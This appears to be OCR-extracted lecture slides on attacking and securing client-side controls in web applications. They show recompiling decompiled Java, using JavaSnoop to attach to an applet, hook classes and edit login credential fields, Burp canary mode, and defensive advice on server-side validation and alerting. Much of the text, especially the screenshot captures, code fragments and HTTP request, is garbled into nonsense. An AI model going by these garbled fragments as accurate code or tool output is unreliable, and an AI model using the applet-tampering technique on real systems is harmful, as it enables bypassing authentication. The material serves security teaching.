if(k > 2)

s3 = s3.substring(k - 2, k);
stringbuilder.append(s3);

-~

}

return stringbuilder.toString();

}



Recomplle with javac

C:\tmp>javac CheckQuantity.java
C:\tmp>java CheckQuantity

4b282c510£776a455d425a7808015¢c555f42585460464d1e42684c414al52bleOb5a520a
145911171609



Javasnoop

Free Java Debugger (Links Ch 5m, 5n)

Example: Java Login Applet

Login Applet
Enter your username and password

Usermame: test123

Password:




Attach to Process

AMISER W= ABBA, . . — - .o - o - coan e . e e e e o o
{

ﬂMm L pa s NS SN A A A Er—.x Choose a process to attach

Weilcome 1o JavaSnoop!

A program for hacking Java applications,

What process do you want to hack? Process ID: 1364
JYM Arguments:  -D__jvm_launched=5136224951 -Xbootclasspath/a:C'PROGR...
or A NEwW Process Main arguments:  write_pipe_name=ipi2_pid796_pipe6.read_pipe_name=jpi2 ...
Main class: sun.plugn? main.chient Plugintiain

S T T T TR . Copyinfotoc d
S — VM Version: 20.14-b01 |08y e _.--.!fo;..__,-_

Agent attached Ui should appear momentarniy... Jar File:

Attach and clobber LookAndFeel




Hook Classes

Operatot

hook ( HookIF D

] Apphy rule to subclasses |  Search for function... Add New Hook ‘

v - ps
' - Choose class - 3630 classes loaded

Begin twir_m the name of the class you want to find: | | Only show classes with main{) methods
" ColoredBoardPainter | Hide Java'Sun classes Hide JavaSnoop classes

. Applet§2

.. Applet$PasswordDialog

. Applet$SettingsUploadDialog (abstract)
App et$Settin i sUploadE:rosDnalog

)

Lid

3 Applet SUsemuthPanel $2
.. Context (interface)
Preferences (ahstract)




Edit Credentials

LAt methed parameters X
Class: Applet$UserAuthPanel
Mothod: access$600
Parameters:
] Tpe e s
€ \ppletfUserauthPanel ; \pplet§UserauthPanelipanei0,62,5,326x1 75, iInvalld 1ayout=java awt BorderLayout] Edst
Class name:  freein, JinApplet SUser AuthPaned Class name:  java.awt.TextFledd
Primitive fields: Prisndtive fiedds: .
[ Hame | Type T Value [ [ Name | 1 Ry | N Ry ‘
lFaEFiTouﬁdEias’éDT_’iboéféan ) false o - %eﬂ'eMSeualaedoa liewt Tipe i' . a 200 Cose ok ) L Accam cheogns |
1 lcoalescingEnadled  !bootean false ieaaalaeiaiisd g AR t g
n;s | 4 '_ ; f0F joldSetialzedDa int [t _
componentSenalize. ém ¢ a h hmm { 12 Edst the field and accept
4 [componentSerialize.. jint 2 = L z;oolean . <= | the changes
1 g ) . A - —
Ll Non-primitive fields: Non primitive fields:
[ MName |  Tye [ toSwing0 | 1
m_ﬂm TOFLL Jus s ey El [ECTORCIShuer: R atvent.. ee: e e = pratDepiomentsecurisaum dat
passwordField ﬁmMie’rﬂ'i ava. awt Tex teatListenar Java awt evenl.. nult ! .
_ 'T—"——-———* — I - - L e Sl &
stalusLabel _?ava a‘MLabrey fgm m;aoegi Edit 'lpo_o( _.m.ra‘av\.n_tpo?r’ ‘smanUO Eda _‘ gm“mw
loginBuon liava awiButton lavaaeaButton | Ede 1> \narent SavaawtContal havaawtPanel | Eam  I¥ i
= = e s . 3 A AR A S S —
Saveobjecttofile | Loadfromfile | Acceptchanges | Sawobjecttofie || Loadfromfe || Accept changes |



anary Mode

- Follow "canary" values through app

- Works with Burp

B sipectsssnis. T

Burp Intruder Repeater Window Hebp

[rorge [ o | spor [ scomer [ mrcer Jpapot | socuencer [ ococe [ o

T -

google com |

1~ 2as ]

Request
GET / HTTP/1.1

Hose: qooqle.com’
Proxy~Connection: keep-alive

Accept: text/heml, application/xhtml+xml, application/xml;¢
User~Agent: Mozilla/S.0 (Vindows NT €.1; WOVEd) AppleVebK
¥-Chrome~-Variations: CICZyQEIILLIAQIdLaskBEBCKOZyQEIQLBIAQLD
Accepr-Encoding: ¢zip,detlace, sdch

Accept~Language: en~US,en;q~0.8

Accept-Charser: IS0-8859-1,uct-8;q*0.7,*:q=0.3

Cookie: PREF=ID=SEbET75c1420dha: U»a7307e50SS3 €260 FF=4:

{

.’ch | e 2 TYDe 8 Search term

Stop Canary Mode

Search forthis vaue as a. | String v’ L

Ondy put canaries in the following package (e.g., com foo.net) ! | ) halude JavarSun classes (buggy

nthie Puirn ine hrn ave aliava iana Strina)

Method .

“public burp ¢ burp 89 cljava lang String) | AddHook !
publc void burp apd a(byte java lang String toolean) | AddHook
| § public vold burp. B¢ sefText(ava lang String) L Add Mook
public burp nC burp a8 cliava lang Sing) ASd Hook
public burp jnc burp ave a(java ang String) L Add Mook
public vod burp apb.a(byte java lang String boolean) | Add Hook
&b&c voud burp. B¢ sefTextjave ng Strmg) i Add Hook
publc burp oc bwp.é::ip.vu ang Simg) ,r Add Mook

I Add Honk



Native Client Components

- Some actions cannot be done from a sandbox

- Verifying that the user has up-to-date
antivirus

- Verifying proxy settings
- Integrating with a smartcard reader

- For these, native code components like ActiveX
are used; they run outside the sandbox



Reverse-cngineering Native
Code

- OllyDbg to debug

- IDA Pro or Hopper to disassemble



Handing Client-Side Data
Securely

- Don't send critical data like prices from the
client

- Send product ID and look up price on server

- If you must send important data, sign and/or
encrypt it to avoid user tampering

- May be vulnerable to replay or cryptographic
attacks



Validating Client-Generateo
Data

- All client-side validation methods are vulnerable

- They may be useful for performance, but they
can never be trusted

- The only secure way to validate data is on the
server



| 0ogs and Alerts

- Server-side intrusion detection defenses should

be aware of client-side validation

- It should detect invalid data as probably
malicious, triggering alerts and log entries

- May terminate user's session, or suspend user's
account



